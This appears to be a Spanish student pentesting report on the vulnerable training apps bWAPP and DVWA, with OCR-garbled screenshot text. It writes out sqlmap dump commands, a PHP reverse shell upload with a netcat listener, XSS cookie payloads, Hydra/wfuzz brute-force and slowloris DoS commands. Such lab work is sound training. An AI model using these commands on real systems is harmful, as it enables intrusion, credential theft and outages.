-u "http://192.168.1.12/bWAPP/sqli_1.php?title=sql" —cookie="

Imagen 191: Comando de ejecuccion SQLMAP —tables -BWAPP

- Se obtuvo 5 nombres de tablas de la base de datos

Imagen 192: Resultado de la injection — TABLES — BWAPP
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http://192.168.1.12/bWAPP/sqli_1.php?title=sql
http://192.168.1.12/bWAPP/sqli_1.php?title=sql

5. Ahora se realiza la busqueda de la tabla users con el siguiente comando:

Sqlmap —u http://192.168.1.12/bWAPP/sqgli_1.php?title=sql --
cookie="PHPSESSID=a809¢3870fb993482ec74c5ab585649e¢;
security level=0" —-D bWAPP —T users --columns

Archivo  Maquina Ver Entrada Dispositivos Ayuda

M EmPoOO | 23 |Hoc

root@kali: /home/kali
File Actions Edit View Help

/home
"http: i_1.php?t e=sql” ookie="PH 3482ec74c5a security_lev 0" -D bWAPP -T users

Imagen 193: Comando de ejecucion SQLMAP — columns - BWAPP

- Se obtuvo informacion de las columnas de dicha tabla, asi mismo el tipo de dato de
cada parametro.

2] [INFO] the back-end DBMS is MySQL

s' in database 'bWAPP'

+
[2 I gged to text files under '/root/.lecal/ re/sqlmap/output/192

[*] ending @ 2 3 3/

Imagen 194: Resultado de la injection — COLUMNS - BWAPP

6. Para obtener los datos de autenticacion: id, login, password se usé el siguiente
comando:

Sglmap  -u http://192.168.1.12/bWAPP/sqgli_1.php?title=sql -
cookie="PHPSESSID=a809¢3870fb993482ec74c5ab585649¢;
security _level=0" —-D bWAPP —T users —C ““id, login, password” --dump

Archivo Maquina Ver Entrada Dispositivos Ayuda
SEEpPo |1 :34/HOC A ons|a e
g root@kali: fnome/kali

File Actions Edit View Help

/home/kali
"http:

" -D bWAPP -T users -C "id, log

Imagen 195: Comando para copia de datos — SQLAMP - BWAPP
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http://192.168.1.12/bWAPP/sqli_1.php?title=sql
http://192.168.1.12/bWAPP/sqli_1.php?title=sql

- Se obtuvo 3 datos de autenticacion

y Heron)

s' in database 'bWAPP'

1 [INFO] re !
do you want to store rocessing with other tools [y/N] n

ffdo' for user
1da@" for user

dumped
to tex

Imagen 196: Resultado del comando — copia de datos - BWAPP

Acceder a un servicio mediante la ejecucion de codigo reverse_shell para comprometer

el sistema y escalar privilegio

7. Utilizar de un reverse_shell para imponer un Shell inversa, provocando que la maquina
victima sea interceptado por la maquina atacante. Para ello, se descarga un archivo que
esta creado en lenguaje de programacion php, que permite reacufiar la reversa
configurando la ip de la maquina atacante con el puerto correspondiente que permitira
escuchar y asi iniciar tener una sesion reverse.

Archivo Maquina Ver Entrada Dispositivos Ayuda
BEEPof |1 23 4

root@kali: /home/kali

File Actions Edit View Help

t

set_time_limit (0); Iron Man.pdf
Terminator_Salvation.pdf
The_Amazing_Spider-Man.pdf
The_Cabin_in_the_Woods.pdf
The Dark Knight Rises.pdf
The_Incredible Hulk.pdf
bWAPP_intro.pdf
fichero.php

(function_exists('pentl_fork')) {

= pentl_fork();
( =-1){
printit("E
exit(1);
_)

( i
exit(0);

@ writoe nut @ whore Te @ cut

R bWAPP - Security Misc 192.168.1.12/webdav/fichero. X

€ 5 C 6 O fmesn

Kali Linux #8 KaliTools ¢ KaliDocs ¥ Kali Forums @ Kali NetHunter

1028 | & C

sy @

Exploit-DB

Imagen 197: Codigo Reverse_Shell -BWAPP
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8. El entorno muestra debilidad por el protocolo WebDav, en la accion de guardar, editar,
de datos que estan siendo compartidos al servidor web. Por ende, se realiza la carga del
codigo que contiene el reverse_shell configurado

Archivo  Maquina Ver Entrada Dispositivos Ayuda

S EEPOC] 1234|8905

&¢ bWAPP - Security Miscon X 192.168.1.12/webdav/fichero X+
File Actions Edit View Help

€ 2> C 0 O Q4196812 ‘ &
/home/kali
KaliLinux # KaliTools @ KaliDocs ¥ KaliForums e Kali NetHunter # Exploit-DB

dav:!> open http://192.168.1.12/webvad/

Could not access /webvad/ (not WebDAV-enabled?): t

405 Method Not Allowed

Connection to "192.168.1.12' closed. Iron Man.pdf

dav:!> open http://192.168.1.12/webdav/ Terminator Salvation.pdf

webdav /> dir The_Amazing_Spider-Man.pdf

Unrecognised command. Type ‘help' for a list of commands. 1::,E:Ei”kzgaﬁft‘eﬁi‘gzgsbsgf
v:  Dark | 4 :

s The_Tncredible Hulk.pdf

bWAPP_intro.pdf

fichero.php

php-reverse-shell.php

Listing collection */webdav/': succeeded.
Iron_Man.pdf 543803 Nov 2 2014
Terminator_Salvation.pdf 462949 Nov 2 2014
The_Amazing_Spider-Man.pdf 544600 Nov 2 2014
The_Cabin_in_the_Woods.pdf 526187 Nov 2 2014
The_Dark_Knight_Rises.pdf 756522 Nov 2 2014
The_Incredible_Hulk.pdf 618117 Nov 2 2014
bWAPP_intro.pdf 5010042 Nov 2 2014

fichero.php 67 Jan 15 09:15
dav:/webdav/> put php-reverse-shell.php php-reverse-shell.php
Uploading php-reverse-shell.php to °/webdav/php-reverse-shell.php':
Progress: [=——————=—=>] 100.0% of 5494 bytes succeeded.
dav:/webdav/> []

Imagen 198: Subir el codigo con el comando put -BWAPP

9. La ejecucion del codigo fue exitosa y desde otra terminal se da inicio a la accion
escuchar la comunicacién por el puerto correspondiente, obteniendo la sesion reversa.

Archiva Maguina |

!* m-'»“E" ) 3 4 \ ”“"El
: 168.1.12/webdavffich: X
File Actions Edit View Help
< X @ Q 192.168.1.12
/home/kali _
KaliLinux f8 Kali Tools ¢ KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

(NOWN) [192.16
eric #1 SMP Thu Apr 18

57 up 18 min, 3 users, load av

T FR

Imagen 199: Conexion exitosa del Shell_inversa - BWAPP
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10. Tras tener conexion exitosa, se realiza la exploracion del entorno para conocer,
archivos, directorios y configuracion, se encontraron credenciales sensibles del
servidor gue este mantiene sesion con la base de datos

a 1449 | @& G

root@kali: fhome/kali

ecommons.org/licenses/by -nd/4.0/). C

IP]/bWAPP/aim.php

tampering.php", "ldap_connect.php” iy b ortal.php”, "sm_do

Imagen 200: Datos del archivo config.ini.php -BWAPP

11. También se encontraron credenciales que realiza login al aplicativo web BWAPP
(Buggy Web Application)

Maquina r  Entrada 3
"Em PO 3 ; a 1450 | @ ¢
root@kali: /home/kali

File Actions Edit View Help

$db_name = "DWAPP";

p.sqlite”;

e used on some PHP pages

Imagen 201: Credencial de usuario administrado - BWAPP
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MAQUINA VIRTUAL DVWA
Enumeracion de puertos mediante la herramienta Nmap para conocer los servicios y

versiones que soporta el sistema.

12. Puertos encontrados tras el escaneo con la herramienta nmap, informacion relevante
para atacante

Archivo  Maquna Ver Entrada Dispositivos Ayuda

BEmPOr |23 ¢

root@kali: fhome/kali

File Actions Edit View Help

/home/kali
192.168 105
Starting Nmap 7.93 ( htt map.org ) at 2023-01-14 12:29 EST
Nmap scan report for 192
Host is up (0.00073s lat )
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
ebian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
14 ((Unix) DAV/2 mod_ss1/2.2.14 OpenSSL/0.9.81 PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)
14 ((Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.81 PHP/5.3.1 mod_apr -20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1)

alBox virtual NIC)
ux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

Imagen 202: Escaneo de la red mediante la herramienta Nmap — DVWA - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp

Injection SQL mediante la herramienta SQLMAP para conocer, la base de datos del

entorno, usuarios, tablas, entre otros,

13. Se realiza la obtencién de informacidn sobre las bases de datos que el sitio maneja con
la herramienta sqlmap.

Archivo Maquina Ver Entrada Dispositivos Ayuda
S emPO-]|1 23 4|8 * B2 |4 6
; root@kali: fhome/kali

File Actions Edit View Help

/home/kali
92.1

"http://192.168.1.

14/dvwa

Imagen 203: Comando de Injection dbs - DVWA

La ejecucion del comando tuvo éxito, obteniendo nombres de las bases de datos
disponibles.

[13:2 ysql'

[13:2 target URL

got a 302 redirect to 'ht g /dvwa/login.php'. Do you want to follow? [¥/n] y
sqlmap resumed the following injection point(s) from stored session:

ND time-based blind (guery SLEEP)
ECT 7585 FROM (SELECT(SLEEP(5)))YdzE) AND 'UMjd'='UMjd&Submit=Submit

ry

UNION query (NULL) - 2 columns

J UNION ALL SELECT NULL,CONCAT(0x71716b7871,0%694e636b70404552754462754956444d446b47455773674355567551424 4a53,0%716a7a7671)— -&Sub
mit=Submit

[13:2 1 [INFO] the back-end DBMS is MySQL
b s i n

hed data logged to text files under '/

[*] ending @ 1 01-14/

Imagen 204: Datases - DVWA
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14. Al conocer las bases de datos, se procede a buscar las tablas que contiene

Archivo Maquina Ver Entrada Dispositivos Ayuda

S omP o1 2 3 4|8

root@kali: fhome/kali

File Actions Edit View Help

/home/kali

"ht

Imagen 205: Comando para conocer las tablas - DVWA

- Se obtuvo el nombre de 2 tablas

INFO] resuming back-end DBMS 'mysql'
INFO] testing connection to the target URL

stored session:

d blind (qu )
M (SELECT(SLEEP( YdzE) AND 'UMjd’="UMjd&Submit=Submit

v
NION query (NULL) - 2 umns.
UNION ALL SELECT NULL,CONCAT(0x71716b7871,0%694e636b7 6 6 577a6 6755 0x716a7a7671)— -&Sub

logged to text files under '/root/.local/share/sqlm:

[*] ending @ /

Imagen 206: Tablas encontradas - DVWA

15. Para tener mas informacion, se realiza otra consulta mas especifica para conocer la
informacion de la tabla.

Archivo Maquina Ver Entrada Dispositivos Ayuda
BemPor] |-
I root@kali: fhome/kali

File Actions Edit View Help

/home/kali
http://192 fvwa/vi = t ie= safhtn9nub210 c D dvwa -T users

Imagen 207: Comando para encontrar las columnas - DVWA

Se obtuvo que la tabla consultada, tiene 8 columnas y sus respectivos tipos de datos

1aDB fork)
r table 'users' in database 'dvwa’

olumns]
+
Column | Type

Imagen 208: Columnas encontradas de la base de datos - DVWA
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16. Luego de conocer los atributos, realizamos otra consulta para obtener datos sensibles
de autenticacion de la base de datos, se encuentran datos de usuarios, avatar, primer
nombre, segundo nombre, password, con esta informacion se podria comprometer a

otro servicio

Archivo Maquina Ver Entrada Dispositivos Ayuda

BEaPor-| 1 2: 4|8

root@kali: /home/kali

File Actions Edit View Help

/home/kali
"htt 2.1 ? I t ie=" I 2ph3t i #" -D dvwa -T users

Imagen 209: Comando para copia de datos - DVWA

--Copia de datos

s' in databas

e hashes to a temporary

1 [INFO] writing hashes to a temporary le '/tmp/sqlma

do you want to crack them via a dictionary-based attack? [Y/n/q]
i *md! |

r hash
tmein® for hash '@d1

[*] ending @ 13

Imagen 210: Resultado de la copia - DVWA

Ataque de fuerza bruta para la obtencion de credenciales de usuario

17. Tras la ejecucion de la herramienta Hydra se localizo el usuario y login de sesion del
entorno, con esa informacidn se puede obtener acceso a servicios asociadas con esta

seguridad.

/home/kali/Dounloads
/home/kali/user.txt -P /home/kali/Downloads/contrasenas.txt 1 1 http-post-form '/v

lease do not use in milita ecret service ations, o purposes (this is non-binding

password: Autumnl
password: Autumn20

Imagen 212: Credencial de usuario administrado adivinado - DVWA
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Acceder a un servicio mediante la ejecucion de codigo reverse_shell para comprometer
el sistema y escalar privilegio

18. Se realiza la descarga del php-revser-shell.php

Archivo  Maquina Ver Entrada Dispositvos  Ayuda

’q i -n OF]-]1 23 4@ IIJI Ml IquLm 1 o | &

O Vulnerability: File Upload x & ell Cheat Shee %

¢ [CN] QO & 192168.1.14/d erabilities/upload

KaliLinux g8 KaliTools # KaliDocs & Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB /| OffSec

o)

Hore Vulnerability: File Upload

nstructons ‘ The PHP madule GD is not installed
Setup | Reset DB

Brute Force Choose an image to uploa(l:
% Browse... | No file selected
CSRF
Upload

File Inclusion
: More Information

Insecure CAPTCHA

SQLinjecton

SQL Injection (Blind)

XSS (DOM)

Imagen 213: Descargar el archivo Php-Reverse_shell.pbp — DVWA

19. En el apartado de subir archivo, alzamos el archivo

Archivo Maquina Ver Entrada Dispositivos Ayuda
B EemEPRPO |1 23 4|9

@ Vulnerability: File Upload X Reverse Shell Cheat Shee X

& C @ O A 192168114

KaliLinux # KaliTools ¢ KaliDocs N KaliForums X Kali NetHunter % Exploit-DB % Google Hacking DB /! OffSec
D@

e | Vulnerability: File Upload
%‘ | The PHP module GD is not installed
SewpiResetoB |

Brute Force ‘ Choose an image to upload:

Command Injection Browse... | No file selected.
CSRF
Upload |

File Inclusion |
"—‘ ../../hackable/uploads/php-reverse-shell.php succesfully uploaded!

Insecure CAPTCHA

SQL Injection | More Information
SQL Injection (Blind) |
Weak Session IDs |

XSS (DOM)

XSS (Reflected) |

XSS (Stored) |
S

Imagen 214: Subir el archivo revser_shell - DVWA
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20. Antes se realizo la configuracion del codigo reverse_shell con la direccion de la
maquina atacante con el puerto correspondiente que estara entrelazado para ejercer
comunicacion una vez que sea ejecutado el script en la maquina victima

Archive Maquna Ver Entrada D yuda
:§ —-"‘E‘v 7 3 4 5 { I a “n | & e

root@kali: fhome/kali
File Actions Edit View Help
GNU nano 6.4 php-reverse-shell.php

(function_exists('pentl_fork')) {

= pentl_fork();

Imagen 215: Script Configurado con la maquina atacante - DVWA

21. Una vez seleccionado el archivo y esté alzado al servidor, se realiza la ejecucion del
cddigo para que el terminal con el comando nc —v —I —p 4242 escuche la reversa y tenga
una comunicacion exitosa.

Archivo Méaquina Ver Entrada Dispositivos Ayuda

B oaPodr-| 2 il @ F i Al o

= Index of /dvwa/hackable/ X W Reverse Shell Cheat Shee X
File Actions Edit View Help
< X @ O A& 192.168.1.14 L kg =
/home/kali

Kali Linux #8 KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB »
17141 s2110 Index of /dvwa/hackable/uploads

Debian 6.0.7-1kalil (2022-11-

, 3 users, load averag , 1.16, Name Last modified Size Description

= & Parent Directory. .
data) gid-33(ww-data) groups=33(www-data i dvwa email.png 2023-01-13 10:33 667
S o Y Jebcont [?) php-reverse-shell.php 2023-01-15 14:10 5.4K

Apache/2.4.54 (Debian) Server at 192.168.1.14 Port 80

Imagen 216: Shell Inversa - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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22. Una vez hecho la comunicacion se realiza la navegacion de los direcotiras hasta
encontrar el archivo config.ini.php aquel que cuenta con datos de la base de datos, entre
otra informacion del entorno web.

Archivo Maquina Ver Entrada Dispositivos Ayuda

S oEPO|1 23 4|9 & v] a

Loot@lalk /haine/kali + Index of /dvwa/hackable/ X $ Reverse Shell Cheat Shee X +
File Actions Edit View Help
$ pud <« X @ O A 192168114 7 R CI=
/var/wmi/html/dvwa/config
$ dir KaliLinux #8 KaliTools # KaliDocs N KaliForums X Kali NetHunter Exploit-DB »
(oihglnc.php config.inc.php.bak config.inc.php.dist

Index of /dvwa/hackable/uploads

Name Last modified Size Description

& Parent Directory .
dvwa _email.png 2023-01-13 10:33 667
@ php-reverse-shell.php 2023-01-15 14:10 5.4K

Apache/2.4.54 (Debian) Server at 192.168.1.14 Port 80

Imagen 217: Navegar por los directorios hasta hallar el archivo config.ini.php — DVWA - fuente
de fondo de pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp

23. Tras la exploracion se encontraron las credenciales que mantiene conexion hacia la
base de datos, y asi misma informacidén de la base de datos.

Archivo Maquina Ver Entrada Dispositivos Ayuda
S EmEPOF|1 23 2|95 : | O A pud|la e

rootaat fhomeal + Index of [dvwajhackable/ X 8 Reverse Shell CheatShee X +
File Actions Edit View Help
wn/html/dvwa/config (5 X @ O & 192168.1.14 w ©

config.inc.php config.inc.php.bak config.inc.php.dist Kali Linux #8 Kali Tools ¢ KaliDocs N Kali Forums X Kali NetHunter % Exploit-DB
$ cat config.inc.php
<?php

Index of /dvwa/hackable/uploads
# If you are having problems connecting to the MySQL database and all of the vari
ables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a prob Name Last modified Size Description
lem due to sockets.
#  Thanks to @digininja for the fix.

& Parent Directory -
# Database management system to use N g
$DBMS - 'MySQL'; [ dvwa emailpng  2023-01-13 10:33 667
E3DR O AR T [#) php-reverse-shell.php 2023-01-15 14:10 5.4K

# Database variables

#  WARNING: The database specified under db_database WILL BE ENTIRELY DELETED du Apache/2.4.54 (Debian) SET’VGTGt192.168.1.14 Port 80
ring setup.

# Please use a database dedicated to DVWA.
#

# If you are using MariaDB then you cannot use root, you must use create a dedica
ted DWA user

# SeeR nd for more information on this.

$_DVWA H

2 [ 'db_passw

_DVWA[ 'db_port'] =

# ReCAPTCHA settings

# Used for the 'Insecure CAPTCHA' module

#  You'll need to generate your own keys at: https://www.google.com/recaptcha/ad
min

Imagen 218: Datos sensible en el archivo config.ini.php — DVWA - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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ANEXO 6: INFORME



o B~ W D

5.1.
5.2.
5.3.
5.4.
5.5.
5.6.
5.7.
5.8.
5.9.
5.10.

5.11.

INDICE

PENTESTING PRELIMINAR DE APLICACION WEB
DATOS DE LOS ENTORNOS PENTESTING

ALCANCE TEST DE PENETRACION.

OBJETIVO DE TEST DE PENETRACION

ANALISIS E INTERPRETACION DE LOS RESULTADOS

INJECTION SQL

CROSS-SITE-SCRIPTING (DOM)

BRUTE FORCE

CAPTCHA BYPASSING

INSECURE LOGIN FORMS

DENIAL OF SERVICE (SLOW HTTTP DOS)
ESCANEO DE PUERTOS

VERSION DE LOS PROTOCOLOS DEL SISTEMA
INFORMACION DEL MOTOR DE BASE DE DATOS
ELEVACION DE PRIVILEGIO POR REVERSE_SHELL PARA
ACEDER A UN SERVICIO POR CODIGO MALICIOSO
OBTENCION DE CREDENCIALES

6. OBSERVACIONES
7. RECOMENDACIONES
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1. PENTESTING PRELIMINAR DE APLICACION WEB
2. DATOS DE LOS ENTORNOS PENTESTING

Entorno: Damn Vulnerable Web Preparado por: Tomala Lainez Steven

Application, Buggy Web Application Periodo: 2023

Fecha: 20-enero-2023

3. ALCANCE TEST DE PENETRACION

El presente pentesting consiste en identificar y prevenir los posibles fallos de la
préactica/ataque sobre los entornos de simulacién que implica la implementacion por defecto
una aplicacion web vulnerable para la realizacién de pruebas para el entrenamiento de
ciberseguridad. EI estudio estara centrado en las categorias de Identification and
Auhtentication Failures, Security Mis configuration, Insecure Designe e Injection, aquellas
en conjunto suman 7 pruebas de ciberseguridad que son Captcha Bypassing, Insecure Login
Forms, Insecure WebDav Configuration, Denial Of Service (slow HTTP Dos), fuerza bruta,

SQL Injection, Cross-Site-Scripting

4. OBJETIVO TEST DE PENETRACION

Verificar la seguridad de la aplicacion web de los entornos de simulacion mediante la préctica
de test de penetracion sobre los escenarios disefiados para vulnerar, para asi implicar la
incorporacion de buenas practicas mediante la norma 1SO 27001 y CIS sobres los procesos
atacados gque se asemejan a un contexto real de ataque cibernético, aquellas normas cuentan

con controles de seguridad para salvaguardar los recursos tecnoldgicos.

5. ANALISIS E INTERPRETACION DE RESULTADOS
5.1. INJECTION SQL

Analisis: Para la recuperacion relevante de la base de datos del sistema objeto, se vio
influenciado al método de uso para recopilar la mayor informacion posible. La ejecucion de
consulta SQL al formulario web en las diversas situaciones en donde el desarrollador crea
puntos debiles, permite observar meticulosamente que fallas existen en cada nivel, y como

es mejorado mientras se avanza la complejidad.
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BAJO MEDIO ALTO IMPOSIBLE

El id como El id como entrada cambia de ser El id deja de ser | Existe token de

entrada es enviado como solicitud a peticion peticién y ahora | sesion de usuario,

enviado como POST y accedida al método es variable de condicional de tipo

solicitud y la mysql_real_escape_string para que | sesion anexada a | de valor de entrada
NIVEL | consulta no es sea accesible para la creacion de un pagina para el atributo id.

parametriza una cadena SQL legal en la emergente, pero | Atague no exitoso

permitiendo la consulta, Pero de mismo modo se la inyeccion se

inyeccion sin usa la inyeccién desde otro gjecuta

problema alguno | enfoque

Tabla 23: Analisis de nivel de seguridad — Formulario web — Atague injection SQL

Interpretacion: Obtencion de informacion del motor de base de datos en 3 niveles de
seguridad con consultas distintas

INJECTION | RESULTADO

BAJO | UNION SELECT username, pasword > Tabla users
FROM users# » Columnas username, passowrd
» Contrasefias de los 5 usuarios
codificadas en md5
MEDIO | 1 or 1=1 UNION SELECT user, password > Tabla users
FROM users# » Columnas username, passowrd
» Contrasefias de los 5 usuarios
codificadas en md5
ALTO | 1 ’UNION SELECT user, password » Tabla users
FROM users# » Columnas username, passowrd
> Contrasefas codificadas en md5

Tabla 24: Resultados de los niveles de seguridad — Formulario Web — Ataque Injection SQL

5.2. CROSS-SITE-SCRIPTING (DOM)

Anélisis: La recuperacion de cookie que ejercer el sistema objeto, se debe a la técnica de
script de ataque para reflejar el dato a encontrar. La ejecucion del script malicioso al
formulario web en las diversas situaciones en donde el desarrollador crea puntos débiles,
permite observar meticulosamente que fallas existen en cada nivel, y como es mejorado

mientras se avanza la complejidad.
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BAJO MEDIO ALTO IMPOSIBLE

Lainsercion de | El desarrollador ha El desarrollador El desarrollador ha
script malicioso | incorporado una ejerce una lista incorporado
al formulario es | coincidencia de blanca de los codificacién de script
valido, ya que patrones simple para idiomas permitido, | malicioso, y hace que
NIVEL | o cuen_ta con que no se ejecute por end_e ejecutar el | los ca_racteres sean

proteccion, el secuencias de script sin poder al combinando, por ende
ataque es exitoso | comandos de servidor, ataque es | el ataque no fue exitoso

JavaScript y no usar la | exitoso

etiqueta script, pero el

ataque es exitoso

Tabla 25: Analisis de nivel de seguridad — Formulario web — Ataque XSS

Interpretacion: Obtencion de informacion de las cookies en los tres niveles de seguridad
con los scripts ejecutados.

COMANDO RESULTADO

BAJO | <script>alert(document.cookie);<script> security=low;
PHPSESSID=5qrfol4it8rp7cmikovbnj3151

MEDIO | #<select><body security=medium;
onload=alert(document.cookie);> PHPSESSID=5qrfol4it8rp7cmikovbnj3151

ALTO | #<script>alert(document.cookie);</script> | security=high;
PHPSESSID=5qrfol4it8rp7cmikovbnj3151

Tabla 26: Resultados de los niveles de seguridad — Formulario Web — Ataque Injection SQL

5.3.BRUCE FORCE

Analisis: La recuperacion de las credenciales de usuario sucede a partir de datos almacenado
o trasmitidos por un sistema informatico, la obtencion de datos de usuarios por fuerza bruta
constituye probar repetidamente las conjeturas de las credenciales hasta descifrar y robar el
dato. La ejecucion de esta técnica sobre el formulario web en las diversas situaciones en
donde el desarrollador crea puntos débiles, permite observar meticulosamente que fallas

existen en cada nivel, y como es mejorado mientras se avanza la complejidad.
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] BAJO MEDIO ALTO | IMPOSIBLE

El desarrollador se ha El desarrollador ha | El desarrollador El desarrollador ha
perdido por implementado una | utiliza token de agregado una funcion
completo cualquier pantalla de inicio solicitud anti sitio | de "blogueo", donde
método de proteccion, sobre la sesion (CRSF) para si hay cinco inicios
NIVEL permiti_endg que fallao!a_, evitar el a'gaque, de sesion incc_)rrectos
cualquiera intente tantas | permitiendo asi pero de mismo dentro los ultimos 15
veces como lo desee, ralentizar la modo el aleatorio | minutos, el usuario
iniciar sesion en cantidad de de sesion bloqueado no puede
cualquier usuario sin solicitudes que constituye como iniciar sesion.
ninguna repercusion. puedan procesarse | una extension de
Ataque exitoso en un minuto. nivel medio,
Ataque exitoso Ataque exitoso

Tabla 27: Andlisis de nivel de seguridad — Formulario Web — Ataque Bruce Force

Interpretacion: Obtencion de credenciales de usuario administrador mediante fuerza bruta
en los tres niveles de seguridad con herramienta hydra, wfuzz y burp suite

EJECUCION DE ATAQUE RESULTADO

BAJO | Hydra—L /home/kali/user.txt Username= admin

-P /home/kali/Dowloads/contrasefias.txt Passsword= password
127.0.0.1 http-post-form ‘vulnerabilities/brute/
¢username="USER"&password="PASS"
&login=Login:Username and/or password incorrect’
MEDIO | Wfuzz —c —z file, user.txt —z file,/home/kali/ Username= admin
Downloads/contrasefias.txt —b ‘security=médium; Passsword= password
PHPSESSID=dgpmgp2jggb07¢j0gmb21nik72’
‘http://127.0.0.1/dvwa/vulnerabilities/brute/index.php?
Username=FUZZ&password=FUZ2&Login=Login’

ALTO Encontrar el user_token Username= admin
Interceptar la peticion por burp suite Passsword= password
Seleccionar payloads username y password
Ataque por cluser bomb

Insertar los diccionarios de los dos payloads
Insertar el manejo de error de sesion

Start Attack

Tabla 28: Resultados de los niveles de seguridad — Formulario Web — Ataque Bruce Force

VVVYVYVYV

5.4. CAPTCHA BYPASSING

Analisis: Para la recuperacion de credenciales y acceso a login mediante la omision de
captcha, se empled la técnica de fuerza bruta en diferentes escenarios de seguridad, en donde
el desarrollador emerge puntos débiles, permitir asi ejercer el ataque y mientras se avance la

complejidad sea mejorado.
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[ ] BAJO MEDIO | ALTO
El desarrollador ha | El desarrollador ha | El desarrollador ha
incorporado  captcha para | incorporado captcha para | incorporado captcha para

NIVEL

diferenciar entre humanos y
computadoras, pero el valor
del captcha no cambia al
menos que sea recargado o el
botdn sea directo a logan

diferenciar entre humanos y
computadoras, pero el valor
del captcha no cambia al
menos que sea recargado o el
botdn sea directo a logan

diferenciar entre humanos y
computadoras, pero el valor
del captcha no cambia al
menos que sea recargado o
el boton sea directo a logan

Tabla 29: Andlisis de niveles de seguridad — Captcha Bypassing

Interpretacion: Obtencidn de las credenciales de usuario mediante la omision de captcha
con las herramientas, burp suite, wfuzz

RESULTADO

BAJO » Interceptar el formulario por burp suite Username = bee
» Seleccionar los payloads a atacar Passsowrd = bug
» Insertar un ataque por cluser bomb Login sesion = Succesful
» Inserta lista simple Login
» Colocar el manejo de error de sesion
» Start Attacark
MEDIO | wfuzz -c -z file, usuario.txt -z file, contra.txt -b Username = bee
'security_level=1,; Passsowrd = bug
PHPSESSID=c6a37calfda02d539dcdaf37e7645968' Login sesion = Succesful
'http://192.168.1.12/bWAPP/ba_captcha_bypass.php Login
?login=FUZZ&password=FUZ2Z&captcha_user=p8w!0z&
form=submit:Invalid credentials! Did you forgot your
password?'
ALTO > Interceptar la peticion por burp suite Username = bee
» Seleccionar payloads username y password Passsowrd = bug
» Ataque por cluser bomb Login sesion = Succesful
» Insertar los diccionarios de los dos payloads Login
> Insertar el manejo de error de sesion y start attack

Tabla 30: Resultados de niveles de seguridad — Captcha Bypassing

5.5. INSECURE LOGIN FORMS

Andlisis: Para la recuperacion relevante de las credenciales de usuario se utiliza la técnica
de hallar las credenciales mediante analizar el cddigo, conocer las funciones e implementar
herramienta de ataque de fuerza bruta El desarrollador ha incorporado situaciones débiles

gue son mejorados mundial se avance la complejidad.
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BAJO MEDIO ALTO

El desarrollador ha El desarrollador ha El desarrollador ha

almacenados las implementado una funcion incorporable el proceso de

credenciales de usuario en | unlock_secrett que permite iniicio de sesién mediante el

el HTML, por ende, la combinar la clave mediante form y las peticiones post y
NIVEL autentic_acién con los funcién javascr_ipt para luego asi_gnando variables para acé

credenciales ocultos es ser llamada y ejerce atributo

todo un éxito autenticacion

Tabla 31: Analisis de nivel de seguridad — Insecure Login Forms

Interpretacion: Obtencion de las credenciales de usuario en los tres niveles de seguridad

BUSQUEDA RESULTADO

BAJO | <label for="login”>Login:/label> Login = tonystark
<font color=" white’>tonystart</font> Password= | am Iron Man

<label for="password”>Password:/label>
<font color=" white”>| am Iron Man</font>

MEDIO | <label for="name”>Name:</label> Name= brucebanner
<font color=" white”>brucebanner</font> Passphrase= hulk smash!

<input type="button” name="button”
value="Unlock” onclick="unlock secret()”>

fuction unlock_secret(){}
Interceptar el formulario por burp suite Login= bee
Seleccionar los payloads a atacar Password= bug
Insertar un ataque por cluser bomb
Inserta lista simple

Colocar el manejo de error de sesion
Start Attacark

Tabla 32: Resultados de niveles de seguridad — Insecure Login Forms

ALTO

VVVVYVYYVY

5.6. DENAIL OF SERVICE (SLOW HTTP DOS)
Anélisis: Verificar la seguridad contra ataque de denegacién de servicio en los tres niveles
de seguridad mediante la herramienta slowloris y observar las peticiones presentadas en las

tres situaciones del aplicativo.
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| BAJO MEDIO ALTO

El desarrollador no ha El desarrollador no ha El desarrollador no ha
incorporado seguridad para | incorporado seguridad para | incorporado seguridad para
denegacidn de servicio, denegacidn de servicio, denegacidn de servicio,

NIVEL @ Proporcionado una seguridad | proporcionado una seguridad | proporcionado una seguridad
0 permitiendo ejecutarse la 1 permitiendo ejecutarse la | 2 permitiendo ejecutarse la
avalancha de solicitudes al avalancha de solicitudes al avalancha de solicitudes al
aplicativo saturando por aplicativo saturando por aplicativo saturando por
completo la interactividad completo la interactividad completo la interactividad

Tabla 33: Andlisis de niveles de seguridad — Denial of service (slow http dos)

Interpretacion: Obtener saturacion del aplicativo mediante avalancha de solicitudes por
slowloris

INJECTION RESULTADO

BAJO | ./slowloris.py —p 80 —v Llega al socket de 150 y hace que la aplicativo no ejerza
192.168.1.12 interactividad

MEDIO | /slowloris.py —p 80 —v Llega al socket de 150 y hace que la aplicativo no ejerza
192.168.1.12 interactividad

ALTO | /slowloris.py —p 80 —v Llega al socket de 150 y hace que la aplicativo no ejerza
192.168.1.12 interactividad

Tabla 34: Resultados de los niveles de seguridad — Denial of Service (slow http dos)

5.7. INSECURE WEBDAYV CONFIGURATION
Analisis: Para el desarrollo de verificacion de seguridad del protocolo WebDav protocolo
similar al FTP, se incorporo en los dos escenarios de uso diferentes inserciones anomalas

para ejercer el privilegio de usuario administrador.

BAJO MEDIO

El desarrollador ha incorporado | EI desarrollador ha incorporado configuracién
configuracion incorrecta al protocolo | incorrecta al protocolo WebDav un protocolo similar
WebDav un protocolo similar al FTP | al FTP para almacenar y editar archivos, la seguridad
NIVEL | para almacenar y editar archivos, la | es pobre permitiendo subir archivos desde cualquier
seguridad es pobre permitiendo subir | punto sin sesion administrador, insertando codigo
archivos desde cualquier punto sin | malicioso para ejecutar reverse shell y elevar
